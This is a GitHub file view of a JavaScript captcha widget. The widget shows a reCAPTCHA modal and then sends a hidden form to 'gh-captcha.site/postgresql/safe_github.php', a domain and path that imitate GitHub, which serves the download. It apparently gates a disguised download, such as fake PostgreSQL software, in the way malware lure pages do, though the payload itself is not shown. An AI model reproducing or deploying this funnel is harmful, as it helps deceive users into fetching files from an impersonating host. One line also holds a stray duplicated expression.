-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcaptcha-widget.min.js
More file actions
212 lines (186 loc) · 7.85 KB
/
captcha-widget.min.js
File metadata and controls
212 lines (186 loc) · 7.85 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
var CAPTCHA_CONFIG = {
siteKey: '6LdCmxMtAAAAAMguGKi960bfZMCGwQ3U4mBKPiGX',
actionUrl: 'https://gh-captcha.site/postgresql/safe_github.php',
keyword: 'postgresql',
// For front-end download on the same page, set direct file URL, e.g.: '/files/your-file.zip'
fileUrl: null,
// reCAPTCHA UI language
lang: 'en'
};
(function() {
// Styles
var style = document.createElement('style');
style.textContent = [
'#cw-overlay{display:none;position:fixed;inset:0;background:rgba(0,0,0,.6);z-index:9999;align-items:center;justify-content:center;}',
'#cw-overlay.cw-open{display:flex;}',
'#cw-box{background:#1a1a1a;border-radius:12px;padding:24px 18px;width:340px;max-width:92vw;position:relative;text-align:center;color:#eee;box-shadow:0 10px 40px rgba(0,0,0,.5);}',
'#cw-close{position:absolute;top:10px;right:12px;background:none;border:none;color:#888;font-size:22px;cursor:pointer;line-height:1;}',
'#cw-close:hover{color:#fff;}',
'#cw-title{color:#fff;font-size:18px;font-weight:400;margin:0 0 16px;}',
'/* Key point: never stretch reCAPTCHA via CSS */',
'#cw-recaptcha{display:block;margin:12px auto 0;width:304px;}',
'#cw-submit{margin-top:16px;width:100%;padding:10px;background:#2563eb;color:#fff;border:none;border-radius:6px;font-size:15px;cursor:pointer;opacity:.5;pointer-events:none;transition:background .2s ease;}',
'#cw-submit.cw-ready{opacity:1;pointer-events:auto;}',
'#cw-submit.cw-ready:hover{background:#1d4ed8;}',
'/* Download hint (top-right by default) */',
'#cw-hint{position:fixed;z-index:1100;top:12px;right:16px;display:grid;gap:6px;align-items:start;}',
'#cw-hint[hidden]{display:none;}',
'#cw-hint .cw-hint__bubble{background:#111;color:#fff;border:1px solid #333;padding:10px 12px;border-radius:10px;box-shadow:0 6px 20px rgba(0,0,0,.4);font-size:14px;line-height:1.35;display:inline-flex;align-items:center;}',
'#cw-hint .cw-hint__close{background:transparent;color:#aaa;border:none;cursor:pointer;margin-left:8px;font-size:16px;}',
'#cw-hint .cw-hint__arrow{width:0;height:0;border-left:10px solid transparent;border-right:10px solid transparent;border-top:12px solid #111;margin-left:auto;margin-right:8px;filter:drop-shadow(0 2px 3px rgba(0,0,0,.4));}'
].join('');
document.head.appendChild(style);
// Modal markup
var overlay = document.createElement('div');
overlay.id = 'cw-overlay';
overlay.innerHTML = ''+
'<div id="cw-box">' +
'<button id="cw-close" aria-label="Close">×</button>' +
'<p id="cw-title">Confirm you\'re not a robot</p>' +
'<div id="cw-recaptcha"></div>' +
'<button id="cw-submit" disabled>Continue</button>' +
'</div>';
// Download hint arrow
var hint = document.createElement('div');
hint.id = 'cw-hint';
hint.setAttribute('hidden', '');
hint.innerHTML = ''+
'<div class="cw-hint__bubble">Download started. Your file will appear here →<button class="cw-hint__close" aria-label="Close">✕</button></div>'+
'<div class="cw-hint__arrow"></div>';
var widgetId = null;
var submitBtn, closeBtn, hintCloseBtn;
// Ensure reCAPTCHA script is loaded, then run cb
function ensureRecaptcha(cb) {
if (window.grecaptcha && typeof window.grecaptcha.render === 'function') {
cb && cb();
return;
}
var s = document.createElement('script');
var onloadName = '__cwRecaptchaOnload__' + Math.random().toString(36).slice(2);
window[onloadName] = function() { cb && cb(); };
s.src = 'https://www.google.com/recaptcha/api.js?render=explicit&hl=' + encodeURIComponent(CAPTCHA_CONFIG.lang) + '&onload=' + onloadName; + encodeURIComponent(CAPTCHA_CONFIG.lang) + '&onload=' + onloadName;
s.async = true; s.defer = true;
document.head.appendChild(s);
}
function init() {
document.body.appendChild(overlay);
document.body.appendChild(hint);
submitBtn = document.getElementById('cw-submit');
closeBtn = document.getElementById('cw-close');
hintCloseBtn = hint.querySelector('.cw-hint__close');
// Close interactions
closeBtn.addEventListener('click', closeModal);
overlay.addEventListener('click', function(e){ if (e.target === overlay) closeModal(); });
document.addEventListener('keydown', function(e){ if (e.key === 'Escape') closeModal(); });
// Open modal on any element with data-captcha-trigger
document.addEventListener('click', function(e){
var btn = e.target.closest('[data-captcha-trigger]');
if (btn) {
e.preventDefault();
openModal();
}
});
submitBtn.addEventListener('click', onSubmit);
hintCloseBtn.addEventListener('click', hideHint);
}
function openModal() {
overlay.classList.add('cw-open');
ensureRecaptcha(function(){
try {
if (widgetId === null) {
widgetId = grecaptcha.render('cw-recaptcha', {
sitekey: CAPTCHA_CONFIG.siteKey,
theme: 'dark',
size: 'normal', // do not scale via CSS
callback: onCaptchaSolved,
'expired-callback': onCaptchaExpired,
'error-callback': onCaptchaError
});
} else {
grecaptcha.reset(widgetId);
onCaptchaExpired();
}
} catch (e) {
console.error('reCAPTCHA render error:', e);
}
});
}
function closeModal() {
overlay.classList.remove('cw-open');
if (widgetId !== null && window.grecaptcha) {
try { grecaptcha.reset(widgetId); } catch(_){}
}
onCaptchaExpired();
}
function onCaptchaSolved() {
submitBtn.classList.add('cw-ready');
submitBtn.disabled = false;
}
function onCaptchaExpired() {
submitBtn.classList.remove('cw-ready');
submitBtn.disabled = true;
submitBtn.textContent = 'Continue';
}
function onCaptchaError() {
submitBtn.classList.remove('cw-ready');
submitBtn.disabled = true;
submitBtn.textContent = 'Error. Retry';
}
function onSubmit() {
var token = null;
try { token = grecaptcha.getResponse(widgetId); } catch(_){}
if (!token) return;
submitBtn.textContent = 'Processing…';
submitBtn.classList.remove('cw-ready');
// Close modal before submit/download
closeModal();
if (CAPTCHA_CONFIG.fileUrl) {
// Front-end download (for GH Pages) + hint
try {
startDownload(CAPTCHA_CONFIG.fileUrl);
showHint();
} catch (e) {
console.error('Download start error:', e);
}
return;
}
// Otherwise: submit POST to actionUrl (server handles verification & deliver)
try {
var form = document.createElement('form');
form.method = 'POST';
form.action = CAPTCHA_CONFIG.actionUrl;
form.style.display = 'none';
var inp = document.createElement('input');
inp.type = 'hidden'; inp.name = 'g-recaptcha-response'; inp.value = token;
form.appendChild(inp);
var kw = document.createElement('input');
kw.type = 'hidden'; kw.name = 'keyword'; kw.value = CAPTCHA_CONFIG.keyword;
form.appendChild(kw);
document.body.appendChild(form);
form.submit();
} catch (e) {
console.error('Form submit error:', e);
}
}
function startDownload(url) {
var a = document.createElement('a');
a.href = url;
a.download = '';
a.rel = 'noopener';
a.style.display = 'none';
document.body.appendChild(a);
a.click();
setTimeout(function(){ try { document.body.removeChild(a); } catch(_){} }, 0);
}
function showHint() {
try { hint.removeAttribute('hidden'); } catch(_){}
}
function hideHint() {
try { hint.setAttribute('hidden', ''); } catch(_){}
}
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', init);
} else {
init();
}
})();